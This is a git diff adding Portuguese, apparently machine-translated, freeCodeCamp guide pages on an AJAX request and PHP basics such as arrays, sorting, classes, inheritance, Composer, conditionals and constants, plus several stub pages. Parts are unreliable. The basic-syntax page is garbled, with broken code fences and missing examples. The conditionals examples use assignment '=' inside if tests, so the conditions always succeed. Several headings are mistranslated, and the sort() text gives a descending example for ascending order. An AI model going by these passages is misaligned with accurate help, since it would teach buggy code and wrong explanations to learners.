+  var xhttp = new XMLHttpRequest(); 
+  xhttp.onreadystatechange = function() { 
+    if (this.readyState == 4 && this.status == 200) { 
+     document.getElementById("foo").innerHTML = this.responseText; 
+    } 
+  }; 
+  xhttp.open("GET", "content.txt", true); 
+  xhttp.send(); 
+ } 
+```
+
+**Exemplo de AJAX para alterar o conteúdo de uma página da web:**
+
+```HTML
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <div id="foo"> 
+ <h2>The XMLHttpRequest Object</h2> 
+ <button type="button" onclick="changeContent()">Change Content</button> 
+ </div> 
+ 
+ <script> 
+ function changeContent() { 
+  var xhttp = new XMLHttpRequest(); 
+  xhttp.onreadystatechange = function() { 
+    if (this.readyState == 4 && this.status == 200) { 
+      document.getElementById("foo").innerHTML = 
+      this.responseText; 
+    } 
+  }; 
+  xhttp.open("GET", "content.txt", true); 
+  xhttp.send(); 
+ } 
+ </script> 
+ 
+ </body> 
+ </html> 
+```
+
+O arquivo `content.txt` deve estar presente no diretório raiz do aplicativo da Web.
+
+### Fontes
+
+*   [W3Schools](https://www.w3schools.com/js/js_ajax_intro.asp)
+*   [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/Guide/AJAX/Getting_Started)
+
+### Outros recursos
+
+*   [W3Schools](https://www.w3schools.com/js/js_ajax_intro.asp)
+*   [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/Guide/AJAX/Getting_Started)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/array/index.md b/client/src/guide/portuguese/php/array/index.md
new file mode 100644
index 0000000000..7f3f1f2f61
--- /dev/null
+++ b/client/src/guide/portuguese/php/array/index.md
@@ -0,0 +1,35 @@
+---
+title: array
+localeTitle: array
+---
+## Introdução do array PHP
+
+Um array no PHP é na verdade um mapa ordenado. Um mapa é um tipo que associa valores a chaves. Esse tipo é otimizado para vários usos diferentes; Ele pode ser tratado como uma matriz, lista (vetor), tabela de hash (uma implementação de um mapa), dicionário, coleção, pilha, fila e provavelmente mais. Como os valores de array podem ser outros arrays, árvores e arrays multidimensionais também são possíveis.
+
+Aqui está um exemplo:
+```
+<?php 
+ // array without keys 
+ $bikes = array("Suzuki","BMW","Yamaha"); 
+ echo "I like " . $bikes[0] . ", " . $bikes[1] . " and " . $bikes[2] . "."; 
+ ?> 
+```
+
+O array PHP tem tantas funções para trabalhar. Aqui está toda a lista ordenada: [Funções](https://www.w3schools.com/php/php_ref_array.asp)
+
+## Matrizes associativas
+
+Matrizes PHP podem ser usadas como chave e valor como mapa. Pode ser acessado pela chave também.
+
+Aqui está um exemplo simples:
+```
+<?php 
+ $array = array( 
+    "foo" => "bar", 
+    "bar" => "foo", 
+ ); 
+ 
+ echo $array['bar']; 
+```
+
+Tenha um bom dia, feliz codificando !!!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/arrays/index.md b/client/src/guide/portuguese/php/arrays/index.md
new file mode 100644
index 0000000000..97da4ea9c2
--- /dev/null
+++ b/client/src/guide/portuguese/php/arrays/index.md
@@ -0,0 +1,44 @@
+---
+title: Arrays
+localeTitle: Matrizes
+---
+## Matrizes
+
+### Tipos de matrizes
+
+No PHP, existem três tipos de matrizes: Matrizes Indexadas, Matrizes Associativas e Matrizes Multidimensionais.
+
+### Exemplo de Matriz Indexada
+
+Uma matriz indexada acessa objetos por número de índice.
+
+```PHP
+<?php 
+ $freecodecamp = array("free", "code", "camp"); 
+```
+
+`$freecodecamp[0]` retornaria `"free"` , `$freecodecamp[1]` retornaria `"code"` e `$freecodecamp[2]` retornaria `"camp"` .
+
+### Exemplo de Matriz Associativa
+
+Um array associativo acessa objetos pelo nome da chave.
+
+```PHP
+<?php 
+ $freecodecamp = array("free"=>"0","code"=>"1","camp"=>"2"); 
+```
+
+`$freecodecamp['free']` retornaria "0", `$freecodecamp['code']` retornaria "1", `$freecodecamp['camp']` retornaria "2",
+
+### Exemplo de matriz multidimensional
+
+Um array multidimensional é um array que contém outros arrays.
+
+```PHP
+<?php 
+ $freecodecamp = array(array("free"=>"0","code"=>"1","camp"=>"2"),array("free"=>"0","code"=>"1","camp"=>"2"),array("free"=>"0","code"=>"1","camp"=>"2")); 
+```
+
+#### Mais Informações:
+
+*   [manual de arrays do php.net](https://secure.php.net/manual/en/language.types.array.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/arrays/sorting-arrays/index.md b/client/src/guide/portuguese/php/arrays/sorting-arrays/index.md
new file mode 100644
index 0000000000..c5bbe596c7
--- /dev/null
+++ b/client/src/guide/portuguese/php/arrays/sorting-arrays/index.md
@@ -0,0 +1,149 @@
+---
+title: Sorting Arrays
+localeTitle: Classificando Arrays
+---
+## Classificando Arrays
+
+O PHP oferece várias funções para ordenar matrizes. Esta página descreve as diferentes funções e inclui exemplos.
+
+### ordenar()
+
+A função `sort()` ordena os valores de um array em ordem alfabética / numérica crescente (por exemplo, A, B, C, D, E… 5, 4, 3, 2, 1…)
+
+```PHP
+<?php 
+ $freecodecamp = array("free", "code", "camp"); 
+ sort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**Saída:**
+
+```text
+Array 
+ ( 
+    [0] => camp 
+    [1] => code 
+    [2] => free 
+ ) 
+```
+
+### rsort ()
+
+As funções `rsort()` ordenam os valores de uma matriz em ordem alfabética / numérica descendente (por exemplo, Z, Y, X, W, V… 5, 4, 3, 2, 1…)
+
+```PHP
+<?php 
+ $freecodecamp = array("free", "code", "camp"); 
+ rsort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**Saída:**
+
+```text
+Array 
+ ( 
+    [0] => free 
+    [1] => code 
+    [2] => camp 
+ ) 
+```
+
+### um tipo()
+
+A função `asort()` ordena um array associativo, por seus valores, em ordem alfabética ascendente / numérica (eg A, B, C, D, E… 5, 4, 3, 2, 1…)
+
+```PHP
+<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ asort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**Saída:**
+
+```text
+Array 
+ ( 
+    [two] => camp 
+    [one] => code 
+    [zero] => free 
+ ) 
+```
+
+### ksort ()
+
+A função `ksort()` ordena um array associativo, por suas teclas, em ordem alfabética / numérica crescente (eg A, B, C, D, E… 5, 4, 3, 2, 1…)
+
+```PHP
+<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ ksort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**Saída:**
+
+```text
+Array 
+ ( 
+    [one] => code 
+    [two] => camp 
+    [zero] => free 
+ ) 
+```
+
+### arsort ()
+
+A função `arsort()` ordena um array associativo, pelos seus valores, em ordem decrescente alfabética / numérica (eg Z, Y, X, W, V… 5, 4, 3, 2, 1…)
+
+```PHP
+<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ arsort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**Saída:**
+
+```text
+Array 
+ ( 
+    [zero] => free 
+    [one] => code 
+    [two] => camp 
+ ) 
+```
+
+### krsort ()
+
+A função `krsort()` ordena um array associativo, por meio de suas teclas em ordem alfabética / numérica descendente (por exemplo, Z, Y, X, W, V… 5, 4, 3, 2, 1…)
+
+```PHP
+<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ krsort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**Saída:**
+
+```text
+Array 
+ ( 
+    [zero] => free 
+    [two] => camp 
+    [one] => code 
+ ) 
+```
+
+#### Mais Informações:
+
+*   [Manual do php.net sort ()](https://secure.php.net/manual/en/function.sort.php)
+*   [Manual do php.net rsort ()](https://secure.php.net/manual/en/function.rsort.php)
+*   [Manual do php.net asort ()](https://secure.php.net/manual/en/function.asort.php)
+*   [php.net ksort () manual](https://secure.php.net/manual/en/function.ksort.php)
+*   [Manual do php.net arsort ()](https://secure.php.net/manual/en/function.arsort.php)
+*   [php.net krsort () manual](https://secure.php.net/manual/en/function.krsort.php)
+*   [Manual do php.net print\_r ()](https://secure.php.net/manual/en/function.print-r.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/basic-syntax/index.md b/client/src/guide/portuguese/php/basic-syntax/index.md
new file mode 100644
index 0000000000..3c6d473913
--- /dev/null
+++ b/client/src/guide/portuguese/php/basic-syntax/index.md
@@ -0,0 +1,45 @@
+---
+title: Basic Syntax
+localeTitle: Sintaxe Básica
+---
+# Sintaxe Básica
+
+Um script PHP pode ser colocado em qualquer parte do documento.
+
+Um script PHP começa com `<?php` e termina com `?>`
+
+Abaixo, temos um exemplo de um arquivo PHP simples, com um script PHP que usa uma função PHP integrada "echo" para gerar o texto "Hello World!" numa página web
+
+\`\` \`\`
+
+# Minha primeira página PHP
+```
+The output of that would be : 
+```
+
+Minha primeira página PHP
+
+Olá Mundo!
+```
+#### Note: PHP statements end with a semicolon (;). 
+ 
+ # Comments in PHP 
+ 
+ PHP supports several ways of commenting: 
+```
+
+```
+# PHP Case Sensitivity 
+ 
+ In PHP, all keywords (eg if, else, while, echo, etc.), classes, functions, and user-defined functions are NOT case-sensitive. 
+ 
+ In the example below, all three echo statements below are legal (and equal): 
+```
+
+```
+### However; all variable names are case-sensitive. 
+ 
+ In the example below, only the first statement will display the value of the $color variable (this is because $color, $COLOR, and $coLOR are treated as three different variables): 
+```
+
+\`\` \`\`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/class-inheritance/index.md b/client/src/guide/portuguese/php/class-inheritance/index.md
new file mode 100644
index 0000000000..509dca9fc2
--- /dev/null
+++ b/client/src/guide/portuguese/php/class-inheritance/index.md
@@ -0,0 +1,266 @@
+---
+title: Class Inheritance
+localeTitle: Herança de Classe
+---
+## Herança de Classe
+
+_REUTILIZAR CÓDIGO COM HERANÇA NA PROGRAMAÇÃO ORIENTADA A OBJETOS_
+
+Aqui, falaremos sobre como podemos reutilizar o código que escrevemos sem ter nenhuma duplicação de código usando herança.
+
+### Homem classe
+
+Esta é a nossa classe `Man` :
+
+```php
+<?php 
+ class Man 
+ { 
+    // 1. Declare the class variables 
+    public $name; 
+    protected $age; 
+    public $height; 
+    public $fav_sports; 
+    private $fav_drinks; 
+ 
+    // 2. Create a constructor method with 3 required parameters: name, age and height 
+    public function __construct($name, $age, $height) 
+    { 
+        // 2A. Assign the values of parameters to class properties 
+        // Also known as instance variables 
+        // Using "$this->property_name" 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+ 
+        // 2B. Print out the man's attributes and values upon instantiation 
+        echo "Our man's name is: " . $this->name . "\n"; 
+        echo "He is " . $this->age . " years old and " . $this->height . " tall."; 
+    } 
+ 
+    // 3. Create class methods 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ 
+    // 4. Age getter method 
+    public function getAge() 
+    { 
+        return $this->age; 
+    } 
+ 
+    // Age setter method 
+    public function setAge($age) 
+    { 
+        $this->age = $age; 
+    } 
+ 
+    // 5. Favorite Drinks setter method 
+    public function setFavDrinks($drinks = array()) 
+    { 
+        if ($drinks) { 
+            $this->fav_drinks = $drinks; 
+        } 
+    } 
+ 
+    // Favorite Drinks getter method 
+    public function getFavDrinks() 
+    { 
+        return $this->fav_drinks; 
+    } 
+ } 
+```
+
+### Homem saudável
+
+Digamos que queremos criar outra classe chamada `HealthyMan` que tenha todas as propriedades e métodos da classe `Man` .
+
+Sem ter que reescrever todo o código para a classe `Man` , podemos reutilizar esse código usando a palavra-chave extends.
+
+```php
+<?php 
+ class HealthyMan extends Man 
+ { 
+ 
+ } 
+```
+
+Agora temos todas as propriedades e métodos de classe do Man dentro do `HealthyMan` . Podemos instanciar a classe `HealthyMan` para verificar isso rapidamente.
+
+```php
+<?php 
+ $jackie = new HealthyMan('Jackie', 25, '5\' 5"'); 
+ // => Our man's name is: Jackie 
+ // => He is 25 years old and 5' 5" tall. 
+```
+
+Podemos ir em frente e definir os esportes e bebidas favoritos de HealthyMan aka Jackie.
+
+```php
+<?php 
+ $jackie->fav_sports = ['swimming', 'weight training']; 
+ print_r($jackie->fav_sports); 
+ // => 
+ // Array 
+ // ( 
+ //     [0] => swimming 
+ //     [1] => weight training 
+ // ) 
+ 
+ $jackie->setFavDrinks(['Matcha tea', 'Oolong Tea']); 
+ print_r($jackie->getFavDrinks()); 
+ // => 
+ // Array 
+ // ( 
+ //     [0] => Matcha tea 
+ //     [1] => Oolong Tea 
+ // ) 
+```
+
+Agora vamos ver se podemos chamar métodos de classe do Man como `giveFirmHandshakes()` , `beStubborn()` e `notPutToiletPaper()` .
+
+```php
+<?php 
+ echo "\n" . $jackie->giveFirmHandshakes(); 
+ // => I give firm handshakes. 
+ 
+ echo "\n" . $jackie->beStubborn(); 
+ // => I am stubborn. 
+ 
+ echo "\n" . $jackie->notPutToiletPaper(); 
+ // => It's not humanly possible to remember to put toilet paper rolls when they are finished 
+```
+
+Nós obtemos tudo isso apenas herdando a classe Man usando a palavra-chave extends.
+
+### Um homem realmente saudável
+
+Se apenas herdarmos a classe `HealthyMan` from `Man` e não fizermos nada com ela, ela `HealthyMan` todo o propósito.
+
+A classe HealthyMan possui propriedades adicionais, como `body_fat_percentage` e `workout_per_week` , e métodos como `eatHealthy()` , `meditateDaily()` e `laughOften()` .
+
+Como essas são propriedades pessoais, podemos definir a visibilidade de métodos protegidos ou privados e criar setter / getter para o encapsulamento completo.
+
+```php
+<?php 
+ class HealthyMan extends Man 
+ { 
+    /** 
+     * HealthyMan properties 
+     */ 
+    private $body_fat_percentage; 
+    private $workout_per_week; 
+ 
+    /** 
+     * HealthyMan methods 
+     */ 
+    public function eatHealthy() 
+    { 
+        return "I only eat healthy meals."; 
+    } 
+ 
+    public function meditateDaily() 
+    { 
+        return "I set aside 20 minutes daily to meditate."; 
+    } 
+ 
+    public function laughOften() 
+    { 
+        return "I watch funny TV shows to unwind myself."; 
+    } 
+ 
+    /** 
+     * HealthyMan Setters and Getters 
+     */ 
+    public function setBodyFatPercentage($fat_percentage) 
+    { 
+        $this->body_fat_percentage  = $fat_percentage; 
+    } 
+ 
+    public function getBodyFatPercentage() 
+    { 
+        return $this->body_fat_percentage; 
+    } 
+ 
+    public function setWorkoutPerWeek($workout_times) 
+    { 
+        $this->workout_per_week = $workout_times; 
+    } 
+ 
+    public function getWorkoutPerWeek() 
+    { 
+        return $this->workout_per_week; 
+    } 
+ } 
+```
+
+Podemos chamar esses métodos para ver se estão funcionando conforme o esperado:
+
+```php
+<?php 
+ 
+ echo "\n" . $jackie->eatHealthy(); 
+ // => I only eat healthy meals. 
+ 
+ echo "\n" . $jackie->meditateDaily(); 
+ // => I set aside 20 minutes daily to meditate. 
+ 
+ echo "\n" . $jackie->laughOften(); 
+ // => I watch funny TV shows to unwind myself. 
+ 
+ $jackie->setBodyFatPercentage(12); 
+ echo "\nBody Fat %: " . $jackie->getBodyFatPercentage(); 
+ // => Body Fat %: 12 
+ 
+ $jackie->setWorkoutPerWeek(5); 
+ echo "\nWorkout Times Per Week: " . $jackie->getWorkoutPerWeek(); 
+ // => Workout Times Per Week: 5 
+```
+
+Reutilizamos com sucesso o código existente e implementamos uma classe filha.
+
+### Ele é teimoso?
+
+Mesmo que ele tenha herdado `beStubborn()` da classe Man, já que Jackie é um homem saudável, ele é apenas teimoso apenas de vez em quando. Podemos `beStubborn()` método `beStubborn()` Healthy Man para dizer “sou teimoso de vez em quando” em vez de simplesmente “eu sou teimoso” substituindo o método da classe pai.
+
+```php
+<?php 
+ class HealthyMan extends Man 
+ { 
+    ..... 
+    ..... 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn once in a while."; 
+    } 
+ 
+    ..... 
+    ..... 
+ } 
+```
+
+Agora, quando pudermos `beStubborn()` método `beStubborn()` Jackie, veremos uma saída diferente da anterior:
+
+```php
+<?php 
+ echo "\n" . $jackie->beStubborn(); 
+ // => I am stubborn once in a while. 
+```
+
+Isso demonstra como o método de sobreposição funciona na POO.
+
+Ao usar a substituição de métodos, basicamente, estamos declarando novamente o método da classe pai dentro da classe filha.
+
+Dessa forma, qualquer instância da classe pai mantém seu método original, enquanto qualquer instância da classe filha possui o método modificado ou substituído.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/class/index.md b/client/src/guide/portuguese/php/class/index.md
new file mode 100644
index 0000000000..e29d0634de
--- /dev/null
+++ b/client/src/guide/portuguese/php/class/index.md
@@ -0,0 +1,30 @@
+---
+title: PHP - Class
+localeTitle: PHP - Classe
+---
+### Classe Simples para Iniciante!
+
+```php
+class Lab { 
+  private $name = ''; 
+ 
+  public function setName($name) { 
+    $this->name = $name; 
+  } 
+ 
+  private function getName() { 
+    return $this->name; 
+  } 
+ 
+  public function say_my_name() { 
+    $name = $this->getName(); 
+    return $name; 
+  } 
+ 
+ } 
+ $breaking_bad = 'Heisenberg'; 
+ $lab = new Lab(); 
+ $lab->setName($breaking_bad); 
+ echo "My Name is " . $lab->say_my_name(). "!"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/classes-and-objects/index.md b/client/src/guide/portuguese/php/classes-and-objects/index.md
new file mode 100644
index 0000000000..5b7900bf9f
--- /dev/null
+++ b/client/src/guide/portuguese/php/classes-and-objects/index.md
@@ -0,0 +1,50 @@
+---
+title: Classes and Objects
+localeTitle: Classes e Objetos
+---
+# Classes e Objetos
+
+Classes são a forma como representamos tipos de objetos no mundo. Objetos seriam as _instâncias_ reais dessa classe no mundo. Uma classe define _propriedades_ e _comportamento_ de um objeto dessa classe. A classe define como o objeto pode interagir com o resto do mundo. As aulas também nos permitem abstrair detalhes que não queremos mostrar a outras pessoas!
+
+Digamos, por exemplo, você tem um cachorro chamado Spot. Spot é uma instância de um objeto Dog (classe).
+
+Código PHP para definir uma classe:
+
+```php
+// Dog class 
+ class dog { 
+    // Keep name and age private - we don't want to be able to change these! 
+    private $name; 
+ 
+    private $age; 
+ 
+    // Constructor allows us to make an object of this class with given parameters. 
+    function __construct($name, $age){ 
+        $this->name = $name; 
+        $this->age = $age; 
+        echo 'Dog named: '.$this->name.' is '.$this->age.' years old.'; 
+    } 
+ 
+    // Destructor gets called when the item is deleted. 
+    function __destruct(){ 
+        echo 'Dog '.$this->name.' has ran off into the sunset'; 
+    } 
+ 
+    function getname() { 
+        echo $this->name; 
+    } 
+ 
+    function getage() { 
+        echo $this->age; 
+    } 
+ 
+ } 
+ 
+ $mydog = new dog("Spot", "8"); 
+ echo $mydog->getname(); 
+ echo $mydog->getage(); 
+```
+
+O código acima iria ecoar: Cão nomeado: Spot é de 8 anos de idade. Local 8 Dog Spot fugiu para o pôr do sol
+
+Eu criei um objeto $ mydog de classe cachorro. Seu construtor foi chamado, usei alguns métodos dentro da classe, então o destruidor foi chamado.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/composer/index.md b/client/src/guide/portuguese/php/composer/index.md
new file mode 100644
index 0000000000..590c45a841
--- /dev/null
+++ b/client/src/guide/portuguese/php/composer/index.md
@@ -0,0 +1,27 @@
+---
+title: Composer
+localeTitle: Compositor
+---
+## Compositor
+
+O Composer é um gerenciador de pacotes para pacotes PHP. Você usa um arquivo `composer.json` para configurar os pacotes para um projeto PHP, semelhante ao arquivo `package.json` em projetos NodeJS.
+
+### Instalar o Composer
+
+Para instalar o Composer, você primeiro precisa baixá-lo em [getcomposer.org](https://getcomposer.org/download/) .
+
+Você pode então instalar o Composer local ou globalmente.
+
+### Instalar pacotes
+
+Instalar pacotes com a `composer install` . O Composer instalará os pacotes listados no arquivo `composer.json` no fornecedor / pasta.
+
+```shell
+    composer install 
+```
+
+### Mais Informações:
+
+*   O site do Compositor: [getcomposer.org](https://getcomposer.org/)
+*   [Repositor](https://github.com/composer/getcomposer.org) GitHub do [compositor](https://github.com/composer/getcomposer.org) : [compositor / getcomposer](https://github.com/composer/getcomposer.org)
+*   O popular repositório de pacotes do PHP que o Composer usa para procurar por pacotes: [Packagist](https://packagist.org/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/conditionals/index.md b/client/src/guide/portuguese/php/conditionals/index.md
new file mode 100644
index 0000000000..183678cb79
--- /dev/null
+++ b/client/src/guide/portuguese/php/conditionals/index.md
@@ -0,0 +1,48 @@
+---
+title: Conditionals
+localeTitle: Condicionais
+---
+## Condicionais
+
+Condicionais em PHP são escritos usando o `if` , `elseif` , `else` sintaxe. O uso de condicionais permite que você execute ações diferentes dependendo das diferentes entradas e valores fornecidos a uma página em tempo de execução. Em PHP, os condicionais são geralmente chamados de estruturas de controle.
+
+### E se
+
+```PHP
+<?php 
+ if ($_GET['name'] = "freecodecamp"){ 
+  echo "You viewed the freeCodeCamp Page!"; 
+ } 
+```
+
+### Elseif
+
+```PHP
+<?php 
+ if ($_GET['name'] = "freecodecamp"){ 
+  echo "You viewed the freeCodeCamp Page!"; 
+ } elseif ($_GET['name'] = "freecodecampguide"){ 
+  echo "You viewed the freeCodeCamp Guide Page!"; 
+ } 
+```
+
+### Outro
+
+```PHP
+<?php 
+ if ($_GET['name'] = "freecodecamp"){ 
+  echo "You viewed the freeCodeCamp Page!"; 
+ } elseif ($_GET['name'] = "freecodecampguide"){ 
+  echo "You viewed the freeCodeCamp Guide Page!"; 
+ } else { 
+  echo "You viewed a page that does not exist yet!"; 
+ } 
+```
+
+### Nota
+
+Nos casos em que você tem muitas condições possíveis, você pode querer usar uma [instrução de troca](/php/switch) .
+
+#### Mais Informações:
+
+*   [manual de estruturas de controle php.net](https://secure.php.net/manual/en/control-structures.elseif.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/constants/index.md b/client/src/guide/portuguese/php/constants/index.md
new file mode 100644
index 0000000000..f8242e8e0e
--- /dev/null
+++ b/client/src/guide/portuguese/php/constants/index.md
@@ -0,0 +1,30 @@
+---
+title: Constants
+localeTitle: Constantes
+---
+## Constantes
+
+Constantes são um tipo de variável no PHP. A função `define()` para definir uma constante leva três argumentos - o nome da chave, o valor da chave e um valor booleano (verdadeiro ou falso) que determina se o nome da chave não diferencia maiúsculas de minúsculas (falso por padrão). O valor de uma constante não pode ser alterado depois de definido. Ele é usado para valores que raramente mudam (por exemplo, uma senha de banco de dados OU uma chave de API).
+
+### Escopo
+
+É importante saber que, ao contrário das variáveis, as constantes SEMPRE têm um escopo global e podem ser acessadas de qualquer função no script.
+
+### Exemplo
+
+```PHP
+<?php 
+ define("freeCodeCamp", "Learn to code and help nonprofits", false); 
+ echo freeCodeCamp; 
+```
+
+**Saída:**
+
+```text
+Learn to code and help nonprofits 
+```
+
+#### Mais Informações:
+
+*   [Manual de constantes php.net](https://secure.php.net/manual/en/language.constants.php)
+*   [php.net define () manual](https://secure.php.net/manual/en/function.define.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/data-types/index.md b/client/src/guide/portuguese/php/data-types/index.md
new file mode 100644
index 0000000000..40ca1b648e
--- /dev/null
+++ b/client/src/guide/portuguese/php/data-types/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Types
+localeTitle: Tipos de dados
+---
+## Tipos de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/alignment/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/errors/exceptions/index.md b/client/src/guide/portuguese/php/errors/exceptions/index.md
new file mode 100644
index 0000000000..b0b74d02ce
--- /dev/null
+++ b/client/src/guide/portuguese/php/errors/exceptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Error Exceptions
+localeTitle: Exceções de erro
+---
+## Exceções de erro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/errors/exceptions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/errors/index.md b/client/src/guide/portuguese/php/errors/index.md
new file mode 100644
index 0000000000..cb04f92f49
--- /dev/null
+++ b/client/src/guide/portuguese/php/errors/index.md
@@ -0,0 +1,11 @@
+---
+title: Errors
+localeTitle: Erros
+---
+## Erros
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/errors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/filters/index.md b/client/src/guide/portuguese/php/filters/index.md
new file mode 100644
index 0000000000..ad84da380a
--- /dev/null
+++ b/client/src/guide/portuguese/php/filters/index.md
@@ -0,0 +1,11 @@
+---
+title: Filters
+localeTitle: Filtros
+---
+## Filtros
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/filters/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/forms/checking-required-inputs/index.md b/client/src/guide/portuguese/php/forms/checking-required-inputs/index.md
new file mode 100644
index 0000000000..53efb9afa2
--- /dev/null
+++ b/client/src/guide/portuguese/php/forms/checking-required-inputs/index.md
@@ -0,0 +1,11 @@
+---
+title: Checking Required Inputs
+localeTitle: Verificando Entradas Necessárias
+---
+## Verificando Entradas Necessárias
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/checking-required-inputs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/forms/handling-form-input/index.md b/client/src/guide/portuguese/php/forms/handling-form-input/index.md
new file mode 100644
index 0000000000..b76b2ec8d2
--- /dev/null
+++ b/client/src/guide/portuguese/php/forms/handling-form-input/index.md
@@ -0,0 +1,11 @@
+---
+title: Handling Form Input
+localeTitle: Manipulando entrada de formulário
+---
+## Manipulando entrada de formulário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/handling-form-input/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/forms/index.md b/client/src/guide/portuguese/php/forms/index.md
new file mode 100644
index 0000000000..e9b44e5930
--- /dev/null
+++ b/client/src/guide/portuguese/php/forms/index.md
@@ -0,0 +1,11 @@
+---
+title: Forms
+localeTitle: Formulários
+---
+## Formulários
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/forms/validating-form-input/index.md b/client/src/guide/portuguese/php/forms/validating-form-input/index.md
new file mode 100644
index 0000000000..7f454640b7
--- /dev/null
+++ b/client/src/guide/portuguese/php/forms/validating-form-input/index.md
@@ -0,0 +1,11 @@
+---
+title: Validating Form Input
+localeTitle: Validando entrada de formulário
+---
+## Validando entrada de formulário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/validating-form-input/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/functions/cookies/index.md b/client/src/guide/portuguese/php/functions/cookies/index.md
new file mode 100644
index 0000000000..d9524865ec
--- /dev/null
+++ b/client/src/guide/portuguese/php/functions/cookies/index.md
@@ -0,0 +1,11 @@
+---
+title: Cookies
+localeTitle: bolinhos
+---
+## Biscoitos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/cookies/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/functions/date/index.md b/client/src/guide/portuguese/php/functions/date/index.md
new file mode 100644
index 0000000000..cfad9b11be
--- /dev/null
+++ b/client/src/guide/portuguese/php/functions/date/index.md
@@ -0,0 +1,11 @@
+---
+title: Date
+localeTitle: Encontro
+---
+## Encontro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/date/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/functions/die-and-exit/index.md b/client/src/guide/portuguese/php/functions/die-and-exit/index.md
new file mode 100644
index 0000000000..f6bcd2f708
